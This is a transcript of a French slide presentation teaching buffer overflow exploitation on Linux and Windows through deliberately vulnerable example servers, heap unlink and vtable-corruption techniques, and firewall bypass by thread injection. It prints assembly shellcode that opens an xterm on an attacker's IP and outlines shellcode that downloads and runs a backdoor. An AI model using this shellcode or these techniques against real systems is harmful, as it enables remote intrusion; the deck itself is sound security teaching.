démonstrations pratiques de buffer overflows ou la compromission dun système par une simple erreur...

55
Démonstrations pratiques de buffer overflows Ou la compromission d’un système par une simple erreur de programmation

Upload: james-laval

Post on 03-Apr-2015

113 views

Category:

Documents


4 download

TRANSCRIPT

Page 1: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

Démonstrations pratiquesde buffer overflows

Ou la compromission d’un système par une simple erreur de programmation

Page 2: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Introduction

Buffer overflows ne sont statistiquement pas les failles les plus exploitées.

Mais failles parmi les plus célèbres Célébrité vient de leur portée :

En terme de compromission de la machine vulnérable En terme de propagation au sein d’un réseau

Puissance des attaques virales sasser et msblast qui combinaient ces deux caractéristiques

Page 3: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Introduction: principe des BOFs

Les buffer overflows, un principe simple et très connu

Zone reservéeDonnée Données

Adresses croissantes

Conséquences multiples: Modification du comportement Déni de service Exécution de code arbitraire

Page 4: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Objectif de l’étude

Principe connu mais mécanismes rarement décortiqués

Possibilités réelles ? Difficultés rencontrées ? Objectif de cette étude:

Présenter des exemples concrets d’exploitation de buffer overflows pour donner un aperçu des réponses

Cadre: Exploitations de cas d’écoles et non de cas réels Mais exploitations de serveurs donc distantes But:

Par écrasement de zones mémoires, rediriger l’exécution vers un code injecté qui permettra l’ouverture d’un shell sur la machine distante.

Page 5: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Plan

Rappels: stack et heap Exploitation sous Linux

Écriture d’un shellcode pour Linux Exploitation d’un Stack overflow avec shellcode before Exploitation d’un Heap Overflow

Exploitation sous Windows Écriture d’un shellcode pour Windows Stack overflow sur serveur compilé Visual 6.0 (option /GZ) Stack overflow sur serveur compilé Visual .net (option /GS) Corruption de VTABLES: Les limites de l’option /GS

Cas des équipements de filtrages L’injection de code: Contournement du firewall personnel

Conclusion

Page 6: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

Rappels: Stack et Heap

Plan: Définitions Exemple pratique

Page 7: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Définitions

Stack et Heap Stack (pile) = Variable locale, paramètres,… Heap (tas) = Allocation dynamique d’objets (malloc,

new) En mémoire

Stack

Heap

Adresses croissantes

Page 8: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Exemple pratique

Code appel de fonctionvoid myFunc(int param)

{

int local;

int *p=new char[50];

}

myFunc(10);

Param

Adresse retour

Entête fct

local

p

char [50]Retour: - restauration de la pile - instruction « ret »

Page 9: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

Buffer overflow sous Linux

Plan: Écriture d’un shellcode pour Linux Exploitation d’un Stack overflow avec shellcode before Exploitation d’un Heap Overflow

Page 10: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Écriture d’un shellcode (1)

Définition « Shellcode »=> Code injecté, vers lequel l’exécution est redirigé et qui

effectue une opération compromettant le système (ici, ouverture de shell distant)

Injection de ce code dans la mémoire du processus attaqué peut se faire de différentes manières.

La plus classique: dans le buffer qui provoque le débordement.

Buffer envoyé:

Shellcode Redirection vers shellcode

Page 11: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Écriture d’un shellcode (2)

Dans notre cas: shellcode=xterm en export DISPLAY

xterm avec ENV: DISPLAY=@IP:0.0

Attaquant Service vulnérabl

e

BOF

Page 12: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Écriture d’un shellcode (3)

Code du shellcode (~80 bytes)jmp getaddrfunction:popl %ebx /* Recupere adresse de la commande */xor %eax, %eax movb %al, 0x14(%ebx)movb %al, 0x30(%ebx) pushl %eax /* push NULL */lea 0x15(%ebx), %ecxpushl %ecx /* push @ variable d'env DISPLAY */movl %esp, %edx /* Load @ tableau env dans edx */pushl %eax /* push NULL */pushl %ebx /* push @ de la commande */movl %esp, %ecx /* Load @ tableau dans ecx */ movb $0xb, %alint $0x80getaddr:call function.shell_string:.string \"/usr/X11R6/bin/xtermXDISPLAY=192.168.000.002:0.0X\"/* le X a remplacer par un 0 */

Gestion de la relocalisation

Remplace X par \0

Utilisation de int pour exécution

Page 13: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Exemple de Stack overflow (1) Présentation du serveur

Serveur écoute sur le port 1500 Affiche la chaîne renvoyée précédée de

« Message from remote client : »

void printMsg(char *szBuffer){

char szMsg[MAX_MSG]; 

sprintf(szMsg, "Message from remote client :%s\n", szBuffer);printf(szMsg);

}int main (int argc, char *argv[]){…

while((n = read(newSocketfd, szBuffer, MAX_MSG)) > 0){

printMsg(szBuffer);}

…}

MAX_MSG < strlen(Message…\n)+ MAX_MSG

Page 14: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Exemple de Stack overflow (2)

Principe de l’exploitation

@ szBuffer

@ retour

ebp

szMsgsprintf

@ szBuffer

Données

@ retour

ebp

Écrase @retour

=> Quelle est la structure des données envoyées ?

Page 15: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

@ szBuffer

Adresse retour

ebp

szMsg

Exemple de Stack overflow (3)

Structure des données envoyées

NOP

SHELLCODE

@ szMsg

ret

Taille du shellcode limitée Pas d’octets nul @ buffer inconnue

Page 16: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

Démo stack overflow

Page 17: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Problèmes des Heap Overflow

Débordement de buffer dans des zones allouées dynamiquement possible, mais exploitabilité ?

Exploitation de stack overflow facile car stack contient une zone mémoire chargée dans eip

Mais ce n’est pas le cas de heap (sauf cas particuliers) => Exploitation impossible ?

Illustration de la technique de la macro UNLINK décrite par Solar Designer

Page 18: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

L’algorithme de Doug Lea (1)

Portions de mémoires allouées gérées dans des chunks

prev_size

size

data

prev_size

chunk N

prev_size

size

prev_size

free

FD

BK

chunk N+1

Page 19: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

L’algorithme de Doug Lea (2)

Lors de la libération: Test si chunk suivant libre Si libre, l’enlève de la liste doublement chaînée. Concatène les deux chunks

Pour enlever le bloc de la liste chaînée l’algorithme utilise la macro UNLINK:

#define unlink( P, BK, FD ) { \

BK = P->bk; \ [1]

FD = P->fd; \ [2]

FD->bk = BK; \ [3]

BK->fd = FD; \ [4]

}

Page 20: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Le débordement: principe

En cas de débordement:

prev_size

size

data

prev_size

size

data

chunk N

chunk N+1

prev_size

size

data

prev_size

size

data

sprintf

Ecrasement duchunk N+1

Page 21: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Le débordement: exploitation

Lors de l’appel à free sur chunk N, si chunk N+1 libre, appel de UNLINK#define unlink( P, BK, FD ) { \

BK = P->bk; \ [1]

FD = P->fd; \ [2]

FD->bk = BK; \ [3]

BK->fd = FD; \ [4]

}

Or valeur de FD et BK contrôlé car pointeurs écrasés => Possibilité d’écriture d’un DWORD de notre choix à l’adresse de notre choix

En pratique, écrasement d’une adresse de fonction dans le GOT avec l’adresse de notre buffer

Page 22: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Exemple de Heap Overflow (1)

Présentation du serveurSimple serveur accepte commande login, note le nom utilisateur et des infos sur la connexion.

Codetypedef struct

{

time_t connectTime;

} CONNEXION;

Page 23: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Exemple de Heap Overflow (2)

void processData(int newSocketfd, char *szBuffer)

{

char *p;

CONNEXION *c;

if(szBuffer[0] == CMD_USER) // La commande recu est un login

{

// Alloue un buffer de taille SZ_USERNAME et une structure CONNEXION

p=(char *) malloc(SZ_USERNAME*sizeof(char));

c=(CONNEXION *) malloc(sizeof(CONNEXION));

// Rempli les structures

c->connectTime=time();

sprintf(p,"%s login\n", &szBuffer[1]);

// Renvoie la reponse au client

if(write(newSocketfd, p, strlen(p)) < 0)

error("ERROR writing to socket");

// Libere la memoire

free(p);

free(c);

}

200 < 1500

Page 24: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Principe de l’exploitation

Avant sprintf

prev_size size data prev_size size data

prev_size size data fake p_sfake size dataFD BK

Après sprintf

Après free(p)

prev_size size data fake p_s 0xfffffffc dataFD BKFD BK

@ malloc

@ exit

@ free

GOT:

Appel de free(c) => saut dans shellcode

Page 25: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

Démo heap overflow

Page 26: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

Exploitation sous Windows

Plan: Écriture d’un shellcode pour Windows Stack overflow sur serveur compilé Visual 6.0 (option /GZ) Stack overflow sur serveur compilé Visual .net (option /GS) Corruption de VTABLES: Les limites de l’option /GS L’injection de code: Contournement du firewall personnel

Page 27: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Introduction

Buffer overflow sous Windows sujet moins couvert par documentation sur Internet

Pourtant, Msblast ou Sasser montre l’importance et la gravité du phénomène

Page 28: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Écriture d’un shellcode (1)

Sous Linux, écriture de shellcode très facile: Lancement d’un programme via instruction INT 80h Programmes orientés réseau (xterm en remote display)

Sous Windows: API « INT 2Eh » très limitée. Implications

=> Nécessité d’utiliser des API de plus haut niveaux (DLL)

=> Nécessité de charger les DLL=> Nécessité d’accéder à certaines fonctions (LoadLibrary)=> Nécessité d’avoir l’adresse de kernel32.dll

Problèmes: Adresse de kernel32.dll varie d’une version à une autre Taille du code augmente considérablement

Page 29: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Écriture d’un shellcode (2)

Deux contraintes: Shellcode doit être capable de retrouver @ de

kernel32.dll Shellcode doit rester de taille raisonnable

Principe du shellcode Récupération de l’adresse de kernel32.dll (PEB) Récupération de l’adresse de GetProcAdress() (Parse

export directory) Appel de GetProcAdress(@kernel32.dll,

"LoadLibrary") Appel de LoadLibrary("urlmon.dll") Appel de GetProcAdress(@urlmon.dll,

"URLDownloadToFile") Contact faux serveur web et télécharge BackDoor Exécute la BackDoor

Page 30: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Écriture d’un shellcode (3)

Principe de l’exécution du shellcode

Attaquant Service vulnérabl

e

BOF

Fake web server

backdoor(a.exe)

Page 31: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Exemple de Stack Overflow

Présentation du serveurint vulnFunc(SOCKET clientSocket, char *msg)

{

char answer[BUFFER_SIZE];

char *p;

int i;

bzero(answer);

p=msg;

i=0;

while((msg[i] != ' ') && (i<BUFFER_SIZE))

i ++;

if(msg[i] != ' ')

return -1;

sprintf(answer, "Welcome to ghorg0re/3ey's server %s\r\n", &msg[i+1]);

if(send(clientSocket, answer, strlen(answer), 0) == SOCKET_ERROR)

return -1;

return 0;

}

BUFFER_SIZE < strlen(Welcome…)+ BUFFER_SIZE

Page 32: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Cas de Visual 6.0: Option /GZ

Sans option /GZ Avec option /GZ 00401170 push ebp

00401171 mov ebp,esp

00401173 sub esp,1D8h

00401179 push ebx

0040117A push esi

0040117B push edi

...

00401170 push ebp

00401171 mov ebp,esp

00401173 sub esp,1D8h

00401179 push ebx

0040117A push esi

0040117B push edi

0040117C lea edi,[ebp-1D8h]

00401182 mov ecx,76h

00401187 mov eax,0CCCCCCCCh

0040118C rep stos dword ptr [edi]

...

...

00401239 pop edi

0040123A pop esi

0040123B pop ebx

 

 

 

0040123C mov esp,ebp

0040123E pop ebp

0040123F ret

...

0040124B pop edi

0040124C pop esi

0040124D pop ebx

0040124E add esp,1D8h

00401254 cmp ebp,esp

00401256 call __chkesp (00401680)

0040125B mov esp,ebp

0040125D pop ebp

0040125E ret

Page 33: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

Démo stack overflow

Page 34: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Cas de Visual .net: Option /GS

Header de la fonction00411C70 push ebp

00411C71 mov ebp,esp

00411C73 sub esp,274h

00411C79 push ebx

00411C7A push esi

00411C7B push edi

00411C7C lea edi,[ebp-274h]

00411C82 mov ecx,9Dh

00411C87 mov eax,0CCCCCCCCh

00411C8C rep stos dword ptr [edi]

00411C8E mov eax,dword ptr [___security_cookie]

00411C93 mov dword ptr [ebp-4],eax

i

p

answer

security_cookie

ebp

@ret

Page 35: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Cas de Visual .net: Option /GS

Fin de la fonction00411D53 push edx

00411D54 mov ecx,ebp

00411D56 push eax

00411D57 lea edx,ds:[411D80h]

00411D5D call @ILT+430(@_RTC_CheckStackVars@8) (4111B3h)

00411D62 pop eax

00411D63 pop edx

00411D64 mov ecx,dword ptr [ebp-4]

00411D67 call @ILT+140(@__security_check_cookie@4) (411091h)

00411D6C pop edi

00411D6D pop esi

00411D6E pop ebx

00411D6F add esp,274h

00411D75 cmp ebp,esp

00411D77 call @ILT+995(__RTC_CheckEsp) (4113E8h)

00411D7C mov esp,ebp

00411D7E pop ebp

00411D7F ret

Page 36: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

Démo stack overflow

Page 37: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Rappel sur les VTABLES (1)

Exemple de statique code

=> Génération de code statique pour l‘appel

Déclaration Appelclass Message

{

private:

int iType;

public:

void setiType(int value);

};

 

void Message::setiType(int value)

{

iType = value;

}

Message message;

Message message2;

 

message.setiType(0);

00411E2E push 0

00411E30 lea ecx,[message]

00411E36 call Message::setiType (411569h)

message2.setiType(0);

00411E3B push 0

00411E3D lea ecx,[message2]

00411E43 call Message::setiType (411569h)

Page 38: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Rappel sur les VTABLES (2)

Limites de la compilation statique=> Utilise les fonctions virtuelles résolues à

l’exécution En mémoire

Pointeur table virtuelle

Membres

@ Func 1

@ Func 2

@ Func 3Objet

Page 39: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Rappel sur les VTABLES (3)

Exemple de code dynamiqueDéclaration Appel

class Connexion

{

char szUser[SZ_USER];

char szData[SZ_DATA];

public:

Connexion(void);

virtual void setszUser (char *szInput);

virtual char *getszUser(void);

};

; Appel de setszUser

00411E7A mov ecx,dword ptr [pConnexion]

00411E7D mov edx,dword ptr [ecx]

00411E82 call dword ptr [edx]

; Appel de getszUser

00411E7A mov ecx,dword ptr [pConnexion]

00411E7D mov edx,dword ptr [ecx]

00411E82 call dword ptr [edx+4]

Page 40: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Conséquences

Le Heap contient ici un pointeur vers une table de fonctions => Redirection du flux d’exécution possible

Avantage: Redirection se fait lors appel à une fonction membre de l’objet 2 => Avant toutes vérifications

Inconvénient: On écrase un pointeur d’adresses

@ table virtuelle

szBuffer

@ table virtuelleint aint b

sprintf

@ table virtuelle

szBuffer

@ table virtuelleint aint b

Objet 1

Objet 2

Page 41: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Exemple de Heap Overflow (1)

Code du serveurclass Connexion

{

char szUser[SZ_USER];

char szData[SZ_DATA];

public:

Connexion(void) {bzero(szData);bzero(szUser);};

virtual void setszUser(char *szInput){sprintf(szUser, "USER=%s", szInput);};

virtual char *getszUser(void){return szUser;};

virtual void setszData(char *szInput){sprintf(szData, "DATA=%s", szInput);};

virtual char *getszData(void){return szData;};

};

 

class LogData

{

public:

virtual void logszData (char *szData) {printf("[TRACE] %s\n", szData);};

};

Page 42: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Exemple de Heap Overflow (2)

Code du serveurint processData(SOCKET clientSocket, Connexion *pConnexion, LogData *pLogData, char

*szData){

char msgToLog[SZ_LOG]; 

if(szData[0] == CODE_USER){

pConnexion->setszUser(&szData[1]);sprintf(msgToLog, "Login user: %s",pConnexion->getszUser());if(send(clientSocket, MSG_USER, strlen(MSG_USER), 0) == SOCKET_ERROR)

return -1;}else if(szData[0] == CODE_DATA){

pConnexion->setszData(&szData[1]);sprintf(msgToLog, "Data sent: %s",pConnexion->getszData());if(send(clientSocket, MSG_DATA, strlen(MSG_DATA), 0) == SOCKET_ERROR)

return -1;} pLogData->logszData(msgToLog);

 return 0;

}

Page 43: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Exemple de Heap Overflow (3)

En mémoire:

@ table virtuelle

szUser

@ table virtuelle

pConnexion

pLogData

szDataSHELLCODE

@szData

Exploitation en deux temps: Envoi d’un faux user pour constituer @szData Ecrasement de la VTABLES de pLogData avec

@szUser

Page 44: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

Démo heap overflow

Page 45: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Conclusion partie Windows

Étude montre les difficultés d’écriture de shellcode sous Windows

Mais l’exploitation de cas d’école reste aisée L’option /GS permet d’éviter l’exploitation de

stack overflow simples, mais n’est pas une protection inviolable

Page 46: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

Contournement deséquipements de filtrages

Plan: Concepts La protection par FW personnel

Page 47: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Concepts (1)

Exemples précédents ne présentent pas le problème de la communication entre attaquant – backdoor

Cas de Linux:

AttaquantServeur X

Serveur vulnérable

xterm avec ENV: DISPLAY=@IP:0.0

FireWall

Page 48: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Concepts (2)

Cas de Windows

Attaquant Service vulnérabl

eFake web server

Proxy+

Authent

=> Il faut savoir adapter le shellcode à l’architecture du réseau ciblé.

A priori, si serveur autorisé connecté à Internet, contournement sera toujours possible

BOF

Page 49: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

La protection par FW personnel

Concept: FW personnel Application filtrant le trafic entrant et sortant d’une

machine Gère le contrôle d’accès via le concept d’applications:

Deux modes sont distingués: client ou serveurPour chaque mode, une application peut soit être autorisée, soit interdite, soit inconnue.

Une application inconnue de peut pas accéder à Internet=> Détection de notrebackdoor

Calcul de checksum empêche simple remplacement=> Le FW personnel est-il la solution miracle anti-backdoor ?

Page 50: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Contournement du FW personnel (1)

Problème est que la gestion des accès se fait au niveau processus et non au niveau du thread

Or Windows offre la possibilité de créer des threads dans une application distante

Technique qui devient très courante. Utilise les fonctions:

VirtualAllocEx WriteProcessMemory CreateRemoteThread

Page 51: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Contournement du FW personnel (2)

Principe du contournement: Téléchargement de la backdoor (a.exe) et exécution La backdoor ouvre le processus serveur et injecte du

code La backdoor créé un thread executant le code injecté

dans le processus serveur Le code injecté ouvre une socket en mode serveur,

opération permise par le FW car le processus serveur est autorisée à ouvrir ce type de socket

Problèmes rencontrés: Code injecté doit être relocalisable, retrouver adresse

des fonctions,… Même techniques que pour le shellcode

Le processus serveur ne doit pas planter=> Retour à l’exécution normale ou utilisation d’un Sleep

Page 52: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

Démo heap overflow / FW

Page 53: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

Conclusion générale

Page 54: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

-= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

Conclusion générale Étude présente des cas concrets d’exploitation Lorsqu’il y a débordement de buffer, les possibilités

d’exploitations sont multiples Il existe de très nombreuses protections opérants à des niveaux

différents : Au niveau du réseau, les équipements de filtrage. Au niveau système, les protections comme chroot ou la

gestion des droits de l’utilisateur d’exécution du serveur. Au niveau logiciel, les protections comme l’option /GS ou des

produits comme StackGuard Ideal = Défense en profondeur LA solution reste l’écriture de code sécurisé:

Évitez les fonctions dangereuses (sprintf,strcpy,memcpy,…) Faites attention aux erreurs off-by-one Vérifiez les boucles qui remplissent des tableaux Utilisez les types managés sous WindowsNe JAMAIS se fier aux données envoyées par l’utilisateur

Page 55: Démonstrations pratiques de buffer overflows Ou la compromission dun système par une simple erreur de programmation

Questions / Remarques